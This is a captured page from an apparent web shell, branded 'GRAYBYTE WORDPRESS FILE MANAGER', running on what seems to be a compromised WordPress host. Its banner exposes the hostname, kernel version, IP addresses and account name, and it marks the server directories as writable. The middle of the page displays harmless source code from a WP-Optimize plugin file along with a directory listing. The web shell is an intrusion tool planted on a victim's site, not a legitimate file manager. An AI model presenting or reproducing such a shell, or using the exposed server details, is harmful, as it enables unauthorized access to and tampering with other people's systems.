✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.105
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/wp-optimize/optimizations//orphandata.php
<?php

if (!defined('ABSPATH')) die('No direct access allowed');

class WP_Optimization_orphandata extends WP_Optimization {

	public $ui_sort_order = 10000;

	public $available_for_saving = true;

	public $support_preview = false;

	/**
	 * Do actions after optimize() function.
	 */
	public function after_optimize() {
		// translators: %s - number of deleted orphaned relationship data
		$message = sprintf(_n('%s orphaned relationship data deleted', '%s orphaned relationship data deleted', $this->processed_count, 'wp-optimize'), number_format_i18n($this->processed_count));

		if ($this->is_multisite_mode()) {
			// translators: %s - number of sites
			$message .= ' ' . sprintf(_n('across %s site', 'across %s sites', count($this->blogs_ids), 'wp-optimize'), count($this->blogs_ids));
		}

		$this->logger->info($message);
		$this->register_output($message);
	}

	/**
	 * Do optimization.
	 */
	public function optimize() {
		$clean = "DELETE FROM `" . $this->wpdb->term_relationships . "` WHERE term_taxonomy_id=1 AND object_id NOT IN (SELECT id FROM `" . $this->wpdb->posts . "`);";

		$orphandata = $this->query($clean);
		$this->processed_count += $orphandata;
	}

	/**
	 * Do actions after get_info() function.
	 */
	public function after_get_info() {
		if ($this->found_count > 0) {
			// translators: %s - number of orphaned relationship data
			$message = sprintf(_n('%s orphaned relationship data in your database', '%s orphaned relationship data in your database', $this->found_count, 'wp-optimize'), number_format_i18n($this->found_count));
		} else {
			$message = __('No orphaned relationship data in your database', 'wp-optimize');
		}

		if ($this->is_multisite_mode()) {
			// translators: %s - number of sites
			$message .= ' ' . sprintf(_n('across %s site', 'across %s sites', count($this->blogs_ids), 'wp-optimize'), count($this->blogs_ids));
		}

		$this->register_output($message);
	}

	/**
	 * Get count of unoptimized items.
	 */
	public function get_info() {
		$sql = "SELECT COUNT(*) FROM `{$this->wpdb->term_relationships}` WHERE term_taxonomy_id=%d AND object_id NOT IN (SELECT id FROM `{$this->wpdb->posts}`);";
		$orphandata = $this->wpdb->get_var($this->wpdb->prepare($sql, 1)); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- `$this->wpdb` is `$wpdb`

		$this->found_count += $orphandata;
	}
	
	/**
	 * Returns settings label
	 *
	 * @return string
	 */
	public function settings_label() {
		return __('Clean orphaned relationship data', 'wp-optimize');
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.38 AM
tdhomesa / tdhomesa
0755
attachments.php
3.134 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
autodraft.php
5.326 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
commentmeta.php
7.648 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
inactive-tags.php
0.59 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
optimizetables.php
6.774 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
orphandata.php
2.448 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
orphanedtables.php
5.431 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
pingbacks.php
4.505 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
postmeta.php
4.609 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
repairtables.php
4.385 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
revisions.php
8.138 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
spam.php
8.252 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
trackbacks.php
4.447 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
transient.php
14.441 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
trash.php
6.744 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
unapproved.php
6.023 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
usermeta.php
4.49 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF